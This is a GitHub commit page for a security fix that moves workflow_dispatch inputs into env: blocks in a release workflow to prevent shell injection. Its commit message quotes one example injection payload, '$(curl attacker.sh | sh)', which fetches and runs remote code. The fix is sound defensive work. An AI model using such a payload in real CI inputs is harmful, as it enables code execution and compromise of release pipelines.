Skip to content

Commit 4300097

Browse files
committed
fix(security): move workflow_dispatch inputs to env to avoid shell interpolation
Using ${{ inputs.version }} (and other ${{ ... }} expressions) directly inside a run block's shell script means GitHub Actions interpolates the raw value into the rendered script before bash sees it. A crafted input like '$(curl attacker.sh | sh)' would execute during release. Move all such expressions into per-step env: blocks so shell sees only quoted variable references. Covers: - Determine version (inputs.version) - Validate version format (steps.version.outputs.version) - Verify version consistency (steps.version.outputs.version) - Create tag if needed (needs.validate.outputs.tag) - Extract changelog for version (needs.validate.outputs.version)
1 parent 0e1866c commit 4300097

1 file changed

Lines changed: 12 additions & 8 deletions

File tree

.github/workflows/release.yml

Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -38,14 +38,16 @@ jobs:
3838

3939
- name: Determine version
4040
id: version
41+
env:
42+
INPUT_VERSION: ${{ inputs.version }}
4143
run: |
4244
if [ "${{ github.event_name }}" = "push" ]; then
4345
# Tag push - extract version from tag
4446
TAG="${GITHUB_REF#refs/tags/}"
4547
VERSION="${TAG#v}"
46-
elif [ -n "${{ inputs.version }}" ]; then
48+
elif [ -n "$INPUT_VERSION" ]; then
4749
# Manual dispatch with version input
48-
VERSION="${{ inputs.version }}"
50+
VERSION="$INPUT_VERSION"
4951
TAG="v${VERSION}"
5052
else
5153
# Manual dispatch without version - use package.json
@@ -70,8 +72,9 @@ jobs:
7072
echo "[PKG] npm tag: ${NPM_TAG}"
7173
7274
- name: Validate version format
75+
env:
76+
VERSION: ${{ steps.version.outputs.version }}
7377
run: |
74-
VERSION="${{ steps.version.outputs.version }}"
7578
if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.]+)?$ ]]; then
7679
echo "[ERROR] Invalid version format: $VERSION"
7780
echo "Expected: X.Y.Z or X.Y.Z-prerelease"
@@ -97,9 +100,9 @@ jobs:
97100
echo "[OK] Release source ref is valid"
98101
99102
- name: Verify version consistency
103+
env:
104+
VERSION: ${{ steps.version.outputs.version }}
100105
run: |
101-
VERSION="${{ steps.version.outputs.version }}"
102-
103106
echo "Checking version consistency across all files..."
104107
105108
# Check package.json
@@ -192,8 +195,9 @@ jobs:
192195

193196
- name: Create tag if needed
194197
if: ${{ github.event_name == 'workflow_dispatch' }}
198+
env:
199+
TAG: ${{ needs.validate.outputs.tag }}
195200
run: |
196-
TAG="${{ needs.validate.outputs.tag }}"
197201
if ! git rev-parse "$TAG" >/dev/null 2>&1; then
198202
echo "Creating tag: $TAG"
199203
git tag "$TAG"
@@ -204,9 +208,9 @@ jobs:
204208
205209
- name: Extract changelog for version
206210
id: changelog
211+
env:
212+
VERSION: ${{ needs.validate.outputs.version }}
207213
run: |
208-
VERSION="${{ needs.validate.outputs.version }}"
209-
210214
# Extract changelog section for this version
211215
CHANGELOG=$(awk "/^## \\[${VERSION}\\]/{flag=1; next} /^## \\[/{flag=0} flag" CHANGELOG.md)
212216

0 commit comments

Comments
 (0)